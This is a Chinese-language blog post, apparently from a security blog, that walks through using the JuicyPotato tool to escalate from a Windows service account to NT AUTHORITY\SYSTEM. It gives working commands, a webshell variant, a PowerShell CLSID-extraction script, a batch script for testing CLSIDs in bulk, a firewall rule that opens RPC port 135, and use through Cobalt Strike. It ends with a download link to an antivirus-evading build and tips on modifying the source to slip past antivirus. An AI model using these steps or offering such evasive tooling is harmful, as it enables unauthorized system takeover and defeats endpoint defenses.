提权小神器-JuicyPotato多种应用场景详解

前言

有技术交流或渗透测试培训需求的朋友欢迎联系QQ/VX-547006660,需要代码审计、渗透测试、红蓝对抗网络安全相关业务可以看置顶博文

2000人网络安全交流群,欢迎大佬们来玩
群号820783253

0X00-Juicy-Potato简介

Juicy Potato江湖人称烂土豆,是在MS16-075漏洞利用工具RottenPotatoN工具的基础上做了扩展(A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM*)

追根到底是一款Windows的本地提权工具,利用了COM对象进行提权,相比RottenPotatoNG适用范围更加广泛(正如作者所说with a bit of juice)

使用Juicy Potato这款提权工具的前提是获得了SeImpersonate或者SeAssignPrimaryToken权限,因此带有一定的局限性,对权限有一定要求,并非万能神器

Juicy Potato的项目官网如下:

https://github.com/ohpe/juicy-potato

这款提权工具其实早在18年末就有人开发出来了,但是吧,依然没有进入到很多人的视野中,今天写这篇文章也是站在很多大佬的肩膀上进行总结与开新枝,如有错误,希望大家能及时斧正

image

0x01-Juicy-potato项目功能点

①Target CLSID

选择你想要的任何CLSID。

目前作者的官方github项目中已经给出了windows版本的CLSID列表。

②COM Listening port

设置你需要的COM侦听端口

③COM Listening IP address

设置COM组件监听的目标ip

④Process creation mode

取决于模拟用户的权限,有以下三个选择:

CreateProcessWithToken (需要SeImpersonate权限)

CreateProcessAsUser (需要SeAssignPrimaryToken权限)

both(综合以上两种)

⑤Process to launch

如果JuIcy potato利用成功,则启动可执行文件或脚本

⑥Process Argument

自定义已启动的进程参数

⑦与远程RPC服务器交互

0x02-Juicy-Potato局限性

①当前用户必须具有以下权限中的一种,或者两种同时具备

SeImpersonate权限

SeAssignPrimaryToken权限

以下用户具有该权限:

· 本地管理员组成员和本地服务帐户

· 由服务控制管理器启动的服务

· COM基础结构启动的并配置为在特定帐户下运行的COM服务器

针对提权的话,主要是第三类用户

常见的为LocalService用户,例如IIS和者sqlserver的用户

②开启DCOM,并能找到可用的COM对象

③开启RPC

0x03-原理(来自3g大佬)

· LocalService用户默认具有SeImpersonate和SeAssignPrimaryToken权限

· 开启SeImpersonate权限后,能够在调用CreateProcessWithToken时,传入新的Token创建新的进程

· 开启SeAssignPrimaryToken权限后,能够在调用CreateProcessAsUser时,传入新的Token创建新的进程

Juicy Potato的实现流程如下:

1、加载COM,发出请求,权限为System

在指定ip和端口的位置尝试加载一个COM对象。

RottenPotatoNG使用的COM对象为BITS,CLSID为{4991d34b-80a1-4291-83b6-3328366b9097}

可供选择的COM对象不唯一,Juicy Potato提供了多个,详细列表可参考如下地址:

https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

2、回应步骤1的请求,发起NTLM认证

正常情况下,由于权限不足,当前权限不是System,无法认证成功。

3、针对本地端口,同样发起NTLM认证,权限为当前用户

由于权限为当前用户,所以NTLM认证能够成功完成。

RottenPotatoNG使用的135端口。

Juicy Potato支持指定任意本地端口,但是RPC一般默认为135端口,很少被修改。

4、分别拦截两个NTLM认证的数据包,替换数据,通过NTLM重放使得步骤1(权限为System)的NTLM认证通过,获得System权限的Token

重放时需要注意NTLM认证的NTLM Server Challenge不同,需要修正。

5、利用System权限的Token创建新进程

如果开启SeImpersonate权限,调用CreateProcessWithToken,传入System权限的Token,创建的进程为System权限。

如果开启SeAssignPrimaryToken权限,调用CreateProcessAsUser,传入System权限的Token,创建的进程为System权限

0x04-在命令行中使用

D:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess调用: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: 运行指定程序
-l <port>: COM服务器侦听端口


Optional args:
-m <ip>: COM服务器侦听地址 (默认 127.0.0.1)
-a <argument>: 传递给程序命令行参数 (默认 NULL)
-k <ip>: RPC服务器IP地址 (默认 127.0.0.1)
-n <port>: RPC服务器侦听端口 (默认 135)
-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
-z 仅测试CLSID并打印令牌的用户

1、查看当前用户权限,是否符合要求

whoami /priv

如果开启SeImpersonate权限,juicypotato的参数可以使用-t t

如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u

如果均开启,可以选择-t *

如果均未开启,那么无法提权。

image

2、查看RPC默认端口是否为135

如果被修改(例如为111),juicypotato的参数可以使用-n 111指定RPC端口

如果系统禁用了RPC,并不是一定无法提权,需要满足如下条件:

找到另一系统,能够以当前用户的权限进行远程RPC登录,此时juicypotato的参数可以使用-k

Windows默认配置下,允许135端口的入站规则即可进行远程RPC登录。

添加防火墙规则允许135端口入站的命令如下:

netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow

3、选择可用的CLSID

参考列表

https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

根据你的系统类型选择CLSID(EG:{9B1F122C-2982-4e91-AA8B-E071D54F2A4D})

然后-c指定即可

image

相关系统使用的CLSID文末都给大家打包了

4、选择一个系统未占用的端口作为监听端口

-l参数指定即可

例如,最终参数如下:

JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D})

即使用SeImpersonate权限创建进程,监听端口1111,使用的CLSID为{8BC3F05E-D86B-11D0-A075-00C04FB68820}来进行提权

5.执行效果

image

0x05-在Webshell中使用JuicyPotato

webshell中使用Juicy-Potato的提权的话

Juicy potato需要进行一些特殊处理,使其直接返回结果

实现起来比较简单,在我文章后附有文件JuicyPotato-webshell.exe

其默认使用的CLSID为{4991d34b-80a1-4291-83b6-3328366b9097}

直接执行JuicyPotato-webshell.exe -p "whoami"

或者JuicyPotato-webshell.exe -p "whoami" -c {XXXXX}即可

执行效果如图

image

0x06-在命令行中批量提取当前系统的CLSID

官方给出的code如下

<#
This script extracts CLSIDs and AppIDs related to LocalService.DESCRIPTION
Then exports to CSV
#>

$ErrorActionPreference = "Stop"

# Importing some requirements
. .\utils\Join-Object.ps1

New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT

$CLSID = Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null}

$APPID = Get-ItemProperty HKCR:\appid\* | select-object localservice,@{N='AppID'; E={$_.pschildname}} | where-object {$_.LocalService -ne $null}

$RESULT = Join-Object -Left $APPID -Right $CLSID -LeftJoinProperty AppID -RightJoinProperty AppID -Type AllInRight  | Sort-Object LocalService

# Preparing to Output
$OS = (Get-WmiObject -Class Win32_OperatingSystem | ForEach-Object -MemberName Caption).Trim() -Replace "Microsoft ", ""
$TARGET = $OS -Replace " ","_"

# Make target folder
New-Item -ItemType Directory -Force -Path .\$TARGET

# Output in a CSV
$RESULT | Export-Csv -Path ".\$TARGET\CLSIDs.csv" -Encoding ascii -NoTypeInformation

# Export CLSIDs list
$RESULT | Select CLSID -ExpandProperty CLSID | Out-File -FilePath ".\$TARGET\CLSID.list" -Encoding ascii

# Visual Table
$RESULT | ogv

部分系统中是无法正常提取的,会报错

在此贴上修复的powershell提取脚本

New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null
$CLSID = Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null}
foreach($a in $CLSID)
{
        Write-Host $a.CLSID
}

直接执行Powershell -ep bypass -f get-clid-2012.ps1即可

效果如图

image

0x07-在目标机批量验证CLSID提权可用性

官方给出的批处理脚本经过测试后,问题非常多,本人做了一下修改

code如下--juicypotato.bat

[url=home.php?mod=space&uid=46675]@echo[/url] off
:: Starting port, you can change it
set /a port=10000
SETLOCAL ENABLEDELAYEDEXPANSION

FOR /F %%i IN (CLSID.list) DO (
   echo %%i !port!
   juicypotato-webshell.exe -c %%i -p "whoami" >> result.log
   set RET=!ERRORLEVEL!
   :: echo !RET!
   if "!RET!" == "1"  set /a port=port+1
)

执行后在同目录下生成一个result.log文件

记录测试不同CLSID使用烂土豆提权的结果

效果如图所示

image

随后根据log的相关输出,选择合适的CLSID进行权限提升即可

0x08-在Cobaltstrike中使用Juicypotato提权

在Cobaltstrike中使用Juicypotato提取,是使用DLL注入的方式执行Juicypotato实现权限提升

但是缺陷比较明显,只能使用默认的CLSID({4991d34b-80a1-4291-83b6-3328366b9097})进行提权,如果想使用其他CLSID请参考命令行等执行方法

下载并解压reflectiveJuicyPotato.zip,在Cobaltstike中选择脚本管理器-->load加载juicypotato.cna脚本

随后我们在提权模块即可发现多了一个JuicyPotato

image

点击开始后,提权效果如图

image

权限提升至NT AUTHORITY\SYSTEM

0X09福利/实验资源下载

本次实验环境中的原版JuicyPotato,JuicyPotato-webshell,Get-CLSID.ps1,批处理文件,Cobaltstrike脚本都已经给大家集成好了

听说JuicyPotato已经加入豪华全家桶系列?没事,咱有免杀版本

懂C的兄弟也可以自己修改一下源代码,很好过杀软的

链接:https://pan.baidu.com/s/1ZVctJIZnV8yWNWqW1Byqaw

提取码:m78s

0X10 Reference

https://github.com/ohpe/juicy-potato/tree/master/CLSID/

https://github.com/ohpe/juicy-potato

https://3gstudent.github.io

posted @ 2021-12-21 11:31  J0o1ey  阅读(2252)  评论(0编辑  收藏  举报